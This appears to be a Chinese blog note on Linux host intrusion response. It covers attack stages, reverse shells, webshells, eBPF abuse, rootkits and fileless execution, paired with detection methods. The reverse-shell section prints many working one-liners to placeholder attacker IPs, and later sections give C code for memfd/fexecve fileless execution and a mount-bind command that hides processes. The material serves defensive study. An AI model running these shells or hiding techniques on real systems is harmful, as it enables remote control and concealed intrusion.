0x00 前言

本文主要收集下主机入侵事件及原理

相关参考:

Linux 应急响应手册

入侵过程小结

1、外部侦查

外部侦查即未获得目标任何权限的情况下,通过网络对目标进行信息/情报收集

常见手法为主机扫描,以及应用层扫描

2、外部攻击

外部攻击即在收集到对应信息后,通过特定应用,特定漏洞或者主机漏洞来对目标进行攻击,并获取上传/执行等能力的过程

外部这里并不仅仅是从外网进入内网,攻击者在内网对健康主机的横向移动对于目标主机也是属于外部的漏洞利用

常见手法为RCE,暴力破解,网络劫持等方式

3、内部侦查

内部侦查即在攻击者获取对机器本身的攻击能力后,针对受害主机进行信息收集的过程

常见手法为利用linux命令对主机信息/进程信息/账号信息/操作记录等敏感信息进行收集,以及对特定业务数据/文件进行收集的过程

4、权限提升

权限提升即攻击者在外部攻击或者内部侦查后,在受害主机上获取更高权限(root权限)的行为

常见手法为针对进程/应用的权限漏洞进行利用、针对系统权限进行利用、针对运维漏洞(如高权限cronjob)进行利用、容器逃逸等方式

5、持久化

持久化即攻击者在主机上通过驻留后门等手法获取更长期留存的行为

常见手法为上传后门程序,对进程进行动态注入,在系统上增加rootkit,增加定时/开机任务项等

6、C2通讯

C2通讯即受害主机和攻击者的主机进行信息/命令的传输行为,含有一定隐蔽性

常见手法为DNS/ICMP/Socks隧道,应用层协议通道(ssh),文件传输协议通道(ftp)等

7、逃逸/绕过/自保护

逃逸行为即攻击者试图绕过安全防护以及调查取证的行为,可能发生在Kill-Chain的任何位置

常见手法为:清除行为历史,更换文件特征,降低攻击频率,传输/文件加密等行为

8、攻击目的

攻击目的涵盖破坏,名誉,利益三个方面,攻击者不同的目的会引发不同的行为

常见手法为:DDOS,数据/系统破坏,挖矿,内部信息收集,GetShell,网页篡改等手法

0x01 反弹 Shell

反弹shell,通常是攻击机监听在某个TCP/UDP端口(AS 服务端),目标机(受害机 AS 客户端)主动发起请求到攻击机监听的端口,并将其命令行的输入输出转到攻击机,本质是把 bash OR sh 进程的输入输出重定向到 socket,在 socket 中获取 stdin[0],stdout[1] 和 stderr[2] 输出到 socket(因为进程通信有较高的复杂性,所以 bash 的输入输出可能是一个 pipe)

反弹shell的方式较多(根据目标受害主机的安装环境确定),常用如下几种:

netcat

python

php

bash/sh

大多数的反弹 shell 都是借助重定向 socket 来和 bash 进程进行输入输出交互

反弹Shell的本质可以理解为:网络通信+命令执行+重定向方式,变种也很多:

网络通信可以使用TCP、UDP、ICMP等协议,TCP协议再细分又可以包含HTTP、HTTPS协议等,UDP包含DNS等

命令执行可以通过调用Shell解释器、Glibc、Syscall等方式实现

重定向可以通过pipe、成对的伪终端、内存文件等实现

利用 /bin/bash反弹shell(case1)

1、先启动 server(攻击机开启本地监听,假设攻击机外网为1.2.3.4)

nc -lvv 9999

2、再启动 client(目标受害机主动连接攻击机)

/bin/bash > /dev/tcp/1.2.3.4/9999 0>&1 2>&1 &

反弹成功后,/bin/bash 的文件描述符(0/1/2)会被重定向。server(攻击机) 侧可以控制 client(受害机) 侧的 /bin/bash 进程的 0/1/2

3、在攻击机上操作

root@VM-16-15-ubuntu:~# nc -lvv 9999

Listening on 0.0.0.0 9999

Connection received on localhost 39870

ifconfig #输入指令即可

docker0: flags=4099 mtu 1500

inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255

ether 02:42:ed:50:85:fc txqueuelen 0 (Ethernet)

RX packets 0 bytes 0 (0.0 B)

RX errors 0 dropped 0 overruns 0 frame 0

TX packets 0 bytes 0 (0.0 B)

TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

这种方法的攻击原理是直接重定向Shell的输入输出到Socket,检测可以通过检测Shell的标准输入、标准输出是否被重定向到Socket或检测一些简单的主机网络日志特征来实现

利用 pipe 反弹 shell(case2)

第二类反弹Shell通过管道(pipe)、伪终端等中转,再重定向Shell的输入输出到中转,达到攻击目的

# input server 用于发送指令(攻击端)

nc -lvv 7777

# output server 用于接收执行结果

nc -lvv 8888

# client(受害机执行)

nc 1.2.3.4 7777 | /bin/bash | nc 1.2.3.4 8888 &

这样在攻击端7777就可以执行操作指令,在8888可以看到指令操作的结果

再列举一下其他的例子:

1、利用有名管道(mkfifo)配合SSL加密客户端实现

#将sh -i的标准输入、标准输出、标准错误重定向到命名管道/tmp/f,同时加密通信数据也流向该命名管道

mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | openssl s_client -quiet -connect 0.0.XX.XX:666 > /tmp/f

2、其他案例(应用较广)

#案例一

nc 10.10.XX.XX 6060|/bin/sh|nc 10.10.XX.XX 5050 nc -e /bin/bash 10.10.XX.XX 6060 nc -c bash 10.10.XX.XX 6060 socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.XX.XX:6060

#案例二

mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.XX.XX 6060>/tmp/f

#案例三

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.10.XX.XX:6060 > /tmp/s; rm /tmp/s

#案例四

mknod backpipe p; nc 10.10.XX.XX 6060 0backpipe 2>backpipe

#案例五

bash -c 'exec 5<>/dev/tcp/10.10.XX.XX/6060;cat <&5|while read line;do $line >&5 2>&1;done'

#案例六

telnet 10.10.10.10 6060 | /bin/bash | telnet 10.10.XX.XX 5050

如上图所示,在这些变形的场景下,可能经过层层中转,但无论经过几层最终都会形成一条流动的数据通道。通过跟踪fd和进程的关系可以检测该数据通道

3、利用伪终端中转的方式

python -c 'import

socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.XX.XX",10006));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

通过伪终端中转与通过管道等中转原理一样,但通过伪终端中转的检测难度大大提升,单从Shell的标准输入输出来看,和正常打开的终端没有什么区别(如何检测?)

case3:利用高级语言实现

第三种类型反弹Shell通过编程语言实现标准输入的中转,然后重定向命令执行的输入到中转,标准输出和标准错误中转形式不限制

#案例一

python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('10.10.XX.XX',6060))\nwhile 1: proc = subprocess.Popen(s.recv(1024), Shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"

#案例二

lua5.1 -e 'local host, port = "10.10.XX.XX", 6060 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'

在这种场景下,反弹Shell的命令执行和正常业务行为变得更加难以区分

反弹shell的检测思路(受害机)

1、先检查进程的socket情况

对于case1,检查 /proc//fd,查看反弹进程打开的 fd 是否建立 socket 连接

root@VM-16-15-ubuntu:~# ls -al /proc/3923150/fd

total 0

dr-x------ 2 root root 0 Nov 1 16:57 .

dr-xr-xr-x 9 root root 0 Nov 1 16:56 ..

lrwx------ 1 root root 64 Nov 1 16:57 0 -> 'socket:[219665628]'

lrwx------ 1 root root 64 Nov 1 16:57 1 -> 'socket:[219665628]'

lrwx------ 1 root root 64 Nov 1 16:57 2 -> 'socket:[219665628]'

对于case2,bash 进程的输入输出都来自其他进程的 pipe( 0/1 都绑定到 pipe 非 socket),此情况需要追溯到上一级进程的输入输出继续排查—(不管做了多少层的 pipe,反弹 shell 的本质是将 server 的输入传递给 client 的 bash,肯定存在 socket 连接)

root@VM-16-15-ubuntu:~/# ls -al /proc/1026073/fd

total 0

dr-x------ 2 root root 0 Nov 4 13:39 .

dr-xr-xr-x 9 root root 0 Nov 4 13:02 ..

lr-x------ 1 root root 64 Nov 4 13:39 0 -> 'pipe:[226852419]'

l-wx------ 1 root root 64 Nov 4 13:39 1 -> 'pipe:[226852421]'

lrwx------ 1 root root 64 Nov 4 13:39 2 -> /dev/pts/3

跟进程树继续跟踪上一级,发现 pipe 的进程建立了 socket 连接,存在反弹 shell 的风险

│ │└─bash,3919934

│ │ ├─bash,1026073

│ │ ├─nc,1026072 127.0.0.1 7777

│ │ └─nc,1026074 127.0.0.1 8888

root@VM-16-15-ubuntu:~/# ps aux|grep nc

root 1026067 0.0 0.0 3536 1216 pts/1 S+ 15:19 0:00 nc -lvv 7777

root 1026070 0.0 0.0 3536 1184 pts/5 S+ 15:19 0:00 nc -lvv 8888

root 1026072 0.0 0.0 3536 2144 pts/3 S 15:19 0:00 nc 127.0.0.1 7777

root 1026074 0.0 0.0 3536 2068 pts/3 S 15:19 0:00 nc 127.0.0.1 8888

root 1026129 0.0 0.0 6480 2236 pts/7 S+ 15:19 0:00 grep --color=auto nc

root@VM-16-15-ubuntu:~/# ls -al /proc/1026072/fd

total 0

dr-x------ 2 root root 0 Nov 4 15:19 .

dr-xr-xr-x 9 root root 0 Nov 4 15:19 ..

lrwx------ 1 root root 64 Nov 4 15:19 0 -> /dev/pts/3

l-wx------ 1 root root 64 Nov 4 15:19 1 -> 'pipe:[227094095]'

lrwx------ 1 root root 64 Nov 4 15:19 2 -> /dev/pts/3

lrwx------ 1 root root 64 Nov 4 15:19 3 -> 'socket:[227093293]'

root@VM-16-15-ubuntu:~/# ls -al /proc/1026074/fd

total 0

dr-x------ 2 root root 0 Nov 4 15:19 .

dr-xr-xr-x 9 root root 0 Nov 4 15:19 ..

lr-x------ 1 root root 64 Nov 4 15:19 0 -> 'pipe:[227094097]'

lrwx------ 1 root root 64 Nov 4 15:19 1 -> /dev/pts/3

lrwx------ 1 root root 64 Nov 4 15:19 2 -> /dev/pts/3

lrwx------ 1 root root 64 Nov 4 15:19 3 -> 'socket:[227094117]'

2、检查进程链(进程的树状结构)

3、检测反连进程对外的CONNECT连接

{"time":1730373034,"cgroupid":75819,"ns":4026531836,"pid":3520734,"tid":3520734,"uid":0,"gid":0,"ppid":3518138,"pgid":3520734,"comm":"bash","pcomm":"bash","nodename":"VM-16-15-ubuntu","retval":0,"username":"root","exe":"/usr/bin/bash","syscall":"connect","ppid_argv":"-bash","pgid_argv":"-bash","pod_name":"-1","family":2,"dport":9999,"dip":"1.2.3.4","sport":56022,"sip":"127.0.0.1"}

其他一些检测思路及方法,可以参考云安全中心反弹Shell多维检测技术详解

0x02 bash相关

bash反弹

bash提权

0x03 WebShell

WebShell 是一种可执行 Shell 命令的脚本文件(常见的有 PHP等),可以通过 Web 应用程序执行,从而控制服务器。黑客利用 Web 应用程序漏洞将 WebShell 文件上传到受害主机上,并通过 WebShell 文件实现对受害主机的控制。攻击原理如下:

攻击者利用 WebApp漏洞将 PHP WebShell 文件上传到目标服务器

攻击者通过浏览器访问 PHP WebShell 文件,建立与 WebShell 文件的连接

WebShell 文件进行身份认证,认证通过后,攻击者就可以执行 Shell 命令,进而控制目标服务器

通俗点说,如果通过webshell能找到一种方法让受害者服务器执行/bin/bash > /dev/tcp/1.2.3.4/9999 0>&1 2>&1 &,就可以使用反弹shell攻击拿到受害主机的shell了

0x04 提权漏洞

0x05 网络相关

异常外连检测

基于ebpf机制的检测,思路是通过 krobe/kretprobe/tracepoint 等跟踪所有 IPv4 连接尝试,针对非保留地址的dest IP 匹配是否命中恶意IP库

典型的hook点有:

tracepoint/syscalls/sys_enter_connect

tracepoint/syscalls/sys_exit_connect

0x06 基于ebpf的恶意利用

工具参考bad-bpf

1、使用 eBPF 添加 sudo 用户

它通过拦截 sudo 读取 /etc/sudoers 文件,并将第一行覆盖为 ALL=(ALL:ALL) NOPASSWD:ALL # 的方式工作。通过这种方式欺骗了 sudo,使其认为用户被允许成为 root。其他程序如 cat 或 sudoedit 不受影响,所以对于这些程序来说,文件未改变,用户并没有这些权限。行尾的 # 确保行的其余部分被当作注释处理,因此不会破坏文件的逻辑

2、eBPF内存木马:通过ebpf hook入/出口流量,筛选出特定的恶意命令。再通过hook execve/execveat等函数,将其他进程正常执行的命令替换为恶意命令,达到WebShell的效果,利用门槛较高。

该方式的特点如下:

无进程、无监听端口(利用业务端口)、无文件(注入后文件可删除,ebpf代码驻留在内存中)

执行命令不会新建shell进程,无法通过常规行为检测

将WebShell注入内核,无法通过常规内存检测

可改造为内核马,适配HTTP协议以外的所有协议

0x07 Linux rootkit

Linux rootkit特指以Linux内核模块(LKM)形式加载到操作系统中,从内核态实现更高权限的操作,或直接对内核态代码进行篡改,从而劫持整个系统正常程序的运行。借助rootkit,黑客可以实现对任意目录、文件、磁盘内容、进程、网络连接与流量的隐藏、窃取和篡改,并提供隐蔽的后门可供黑客直接登录到受害服务器执行更多操作

利用Linux预加载型恶意动态链接库

将恶意动态链接库通过LD_PRELOAD环境变量进行加载

将恶意动态链接库通过/etc/ld.so.preload配置文件进行加载

修改动态链接器来实现恶意功能,例如修改动态链接器中默认的用于预加载的配置文件路径/etc/ld.so.preload为攻击者自定义路径,然后在里面写入要加载的恶意动态链接库,当然修改的方式还有很多,如修改默认环境变量,直接将要hook的动态链接库写入到动态链接器当中等

典型恶意程序:

vlany:修改动态链接器rootkit

cub3:用于预加载的恶意动态链接库

利用io_uring异步IO执行机制绕过

参考文章深度解构io_uring新型rootkit的攻击防护。基于io_uring技术实现的工具curing,通过不同的opcode组合,完成了不同的功能,典型的如文件打开IORING_OP_OPENAT/网络连接IORING_OP_CONNECT等,curing工具通过传入IORING_OP_OPENAT完成打开文件操作,在内核中通过IORING_OP_OPENAT对应的函数回调io_openat完成内核操作,从而可以绕过依赖监控syscall行为发现风险的安全产品

0x08 其他

库文件劫持

挖矿木马

进程隐藏

1、利用prctl系统调用进行

2、利用挂载覆盖/proc/pid 目录,利用 mount指令的bind方式将另外一个目录挂载覆盖至/proc/目录下指定进程 ID 的目录(由于ps、top 等工具会读取/proc 目录下获取进程信息,如果将进程 ID 的目录信息覆盖,则原来的进程信息将从 ps 的输出结果中隐藏)

#隐藏进程 id 为 42 的进程信息

mount -o bind /tmp/dir /proc/42

缺点是,cat /proc/pid/mountinfo 或者 cat /proc/mounts 即可知道是否有利用 mount 将其他目录或文件挂载至/proc 下的进程目录

Linux权限维持之进程注入

常用的进程注入方法:

LD_PRELOAD:利用动态库机制覆盖同名运行系统调用

ptrace:提供了父进程可以观察和控制其子进程执行的能力,并允许父进程检查和替换子进程的内核镜像(包括寄存器)的值。ptrace基本原理是: 当使用了ptrace跟踪后,所有发送给被跟踪的子进程的信号(除了SIGKILL),都会被转发给父进程,而子进程则会被阻塞,这时子进程的状态就会被系统标注为TASK_TRACED。而父进程收到信号后,就可以对停止下来的子进程进行检查和修改,然后让子进程继续运行(工具gdb、strace都是基于此来实现的)

linux无文件渗透执行elf:memfd_create

参考文章linux环境下无文件执行elf,通过系统调用memfd_create的功能可以实现低权限模糊化执行的程序名和参数。memfd_create的作用是创建一个匿名文件并返回一个指向这个文件的文件描述符,该文件和普通文件一样,所以能够被修改、截断,内存映射等等。不同于一般文件的是该文件是保存在内存中,一旦所有指向这个文件的连接丢失,那么这个文件就会自动被释放。匿名内存用于此文件的所有的后备存储,通过memfd_create创建的匿名文件和通过mmap以MAP_ANONYMOUS的flag创建的匿名文件具有相同的语义

// 这段代码执行后,通过cn_proc捕获的结果中,无法获得任何关于uname的信息

#include

#include

#include

#include

#include

#include

#include

#include

int anonyexec(const char *path, char *argv[])

{

int fd, fdm, filesize;

void *elfbuf;

char cmdline[256];

fd = open(path, O_RDONLY);

filesize = lseek(fd, SEEK_SET, SEEK_END);

lseek(fd, SEEK_SET, SEEK_SET);

elfbuf = malloc(filesize);

read(fd, elfbuf, filesize);

close(fd);

fdm = syscall(__NR_memfd_create, "elf", MFD_CLOEXEC);

ftruncate(fdm, filesize);

write(fdm, elfbuf, filesize);

free(elfbuf);

sprintf(cmdline, "/proc/self/fd/%d", fdm);

argv[0] = cmdline;

execve(argv[0], argv, NULL);

free(elfbuf);

return -1;

}

int main()

{

char *argv[] = {"/bin/uname", "-a", NULL};

int result =anonyexec("/bin/uname", argv);

return result;

}

linux无文件渗透执行elf:共享内存

fexecve函数能执行一个程序(同execve),但是传递给这个函数的是文件描述符,而不是文件的绝对路径,样例代码如下。将代码编译后运行运行(可看到执行了ls),当然也可以直接运行/dev/shm/badshmfile得到ls一样的功能(同memfd工具类似),实现了对原始程序的隐藏效果

#include

#include

#include

#include

#include

#include

static char *args[] = {

"hic et nunc",

"-l",

"/dev/shm",

NULL

};

extern char **environ;

int main(void)

{

struct stat st;

void *p;

int fd, shm_fd, rc;

shm_fd = shm_open("badshmfile", O_RDWR | O_CREAT, 0777);

if (shm_fd == -1) {

perror("shm_open");

exit(1);

}

rc = stat("/bin/ls", &st);

if (rc == -1) {

perror("stat");

exit(1);

}

rc = ftruncate(shm_fd, st.st_size);

if (rc == -1) {

perror("ftruncate");

exit(1);

}

p = mmap(NULL, st.st_size, PROT_READ | PROT_WRITE, MAP_SHARED,

shm_fd, 0);

if (p == MAP_FAILED) {

perror("mmap");

exit(1);

}

fd = open("/bin/ls", O_RDONLY, 0);

if (fd == -1) {

perror("openls");

exit(1);

}

rc = read(fd, p, st.st_size);

if (rc == -1) {

perror("read");

exit(1);

}

if (rc != st.st_size) {

fputs("Strange situation!\n", stderr);

exit(1);

}

munmap(p, st.st_size);

close(shm_fd);

shm_fd = shm_open("badshmfile", O_RDONLY, 0);

fexecve(shm_fd, args, environ);

perror("fexecve");

return 0;

}

elfexec

elfexec也是一个直接通过标准输入执行 ELF 二进制文件的工具,其核心原理基于系统调用 memfd_create 和 fexecve,典型用法如下:

echo '

#include

int main(int argc, char* argv[])

{

write(STDOUT_FILENO, "Hello!\n", 7);

return 0;

}

' | cc -xc - -o /dev/stdout | elfexec

# cc -o 指定编译结果到stdout

echo 'IyEvYmluL3NoCmVjaG8gIkhlbGxvISIK' | base64 -d| ./elfexec

Hello!

$ echo 'IyEvYmluL3NoCmVjaG8gIkhlbGxvISIK' | base64 -d

#!/bin/sh

echo "Hello!"

0x09 漏洞利用

Redis漏洞利用

0x0A 安全软件收集

参考开源安全项目清单

0x0B 参考

反弹Shell,看这一篇就够了

HIDS 常见检测原理

如何优雅的隐藏你的 Webshell

全链路内存马系列之 ebpf 内核马

一文详解Webshell

Linux中基于eBPF的恶意利用与检测机制

通过chkrootkit学习如何在linux下检测RootKit

LKM Linux rootkit

检测Linux rootkit入侵威胁

云安全中心反弹Shell多维检测技术详解

警惕利用Linux预加载型恶意动态链接库的后门

最新Linux挖矿程序kworkerds分析

优秀开源项目清单

linux环境下无文件执行elf

Linux权限维持之进程注入

ptrace实现代码注入

Linux ELF无文件内存执行学习小记

How BPF-Enabled Malware Works

零系统调用的暗度陈仓:深度解构io_uring新型rootkit的攻击防护

Polkit pkexec 权限提升漏洞(CVE-2021-4034)

【云原生攻防研究】容器逃逸技术概览

Tools and Techniques for Red Team / Penetration Testing

网络安全应急排查手册

如何利用Elkeid发现生产网内恶意行为

Previous

Linux 内核之旅:基础知识

Next

netlink 应用

top
Copyright © 2088 篮球世界杯美国队名单_意大利世界杯预选赛 - pyqtui.com All Rights Reserved.
友情链接